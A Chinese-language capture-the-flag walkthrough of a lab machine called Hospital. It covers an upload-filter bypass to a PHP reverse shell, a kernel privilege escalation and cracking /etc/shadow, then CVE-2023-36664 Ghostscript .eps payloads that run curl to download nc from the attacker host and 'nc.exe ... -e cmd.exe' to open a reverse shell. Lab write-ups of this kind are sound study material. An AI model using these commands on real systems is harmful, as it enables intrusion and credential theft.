0%

Hospital

Ubuntu内核版本漏洞提权、Artifex Software Ghostscript 安全漏洞

Hospital

信息搜集

nmap扫描一下端口

发现8080端口和443端口有http服务

然后发现3389端口是启用了ms-wbt-server服务

在对443端口的扫描没有收获,并且只有邮箱登录界面无法注册

接着看向8080端口,我们随便注册用户登录后发现有文件上传功能

getshell

经过测试pht和phar后缀都可以绕过检测,然后dirsearch扫描出文件上传路径为/uploads/

尝试上传一句话木马,发现虽然能成功但是并不能执行命令

于是借助大神写的shell工具来反弹shell 脚本链接

直接下载shell.php然后上传,用bp将php后缀改为phar(后面测试了一下发现pht后缀会有问题,只能显示源码不解析)

然后访问文件保存路径/uploads/shell.phar

由于不稳定我们反弹到本地机器上

经过一番搜索,在/var/ww/html/config.php找到数据库用户和密码

然后连接数据库

1
mysql -u root -p -h localhost

找到用户信息

对admin的解码一下得到密码(早知道弱口令爆破了hhh)

不过好像没什么用

于是参考国外师傅wp原来是利用Ubuntu内核版本漏洞去提权 exp链接

我们把exp下载到本地然后开启http服务,在靶机用wget命令复制过去

然后chmod给个执行权限,成功提权

这里的root并不是真正的root用户,所以我们还得寻找可用信息

我们查看当前用户的哈希值,发现有drwilliams的

1
cat /etc/shadow

然后用john爆破得到密码

得到密码后访问443端口登录后,注意到一封邮件

谷歌翻译一下,应该是要给Brown发送.eps文件

网上搜索出相关漏洞–Artifex Software Ghostscript 安全漏洞(CVE-2023-36664) 参考文章

漏洞原理大概就是GPL PostScript/PDF 解释器 Ghostscript 无法正确处理管道设备的权限验证,如果处理格式错误的文档文件,可能会导致执行任意命令

我们可以这样利用,先用该exp去创建第一个.eps文件构造curl命令我们本地的nc程序,然后Brown使用解释器打开后触发该命令下载nc程序;然后再次发送一个.eps文件去利用nc执行主动弹shell的命令

注意被攻击机为Brown的windows系统

执行过程如下

1
python3 CVE_2023_36664_exploit.py --inject --payload "curl 10.10.14.54:8000/nc64.exe -o nc.exe" --filename file.eps

下载nc64.exe并保存为nc.exe

成功下载nc程序

然后就再发一个邮件去主动nc连接

1
python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.54 1028 -e cmd.exe" --filename file.eps

发送后被Brown打开,成功nc连接

然后dir找到文件,查看一下得到密码

由于我们前面namp扫描出3389端口是ms-wbt-server服务,我们就可以尝试连接一下

开始我是使用xfreerdp工具连接

1
xfreerdp /u:drbrown /v:10.10.11.241

然后惊讶的发现直接连接到被攻击机

访问桌面得到user的flag(不过确实不太方便root提权)

提权

所以就换成rpcclient连接

1
rpcclient -U drbrown 10.10.11.241

然后执行querydispinfo命令,查看关于当前连接到计算机的显示器的详细信息

注意到管理员信息是与访客共享的

那么我们可以在刚刚连接的windows靶机上,curl我们本地的shell文件来实现RCE

(shell.php前文已经给了参考链接)

由于知道是共享的,所以我们直接访问/shell.php得到root的flag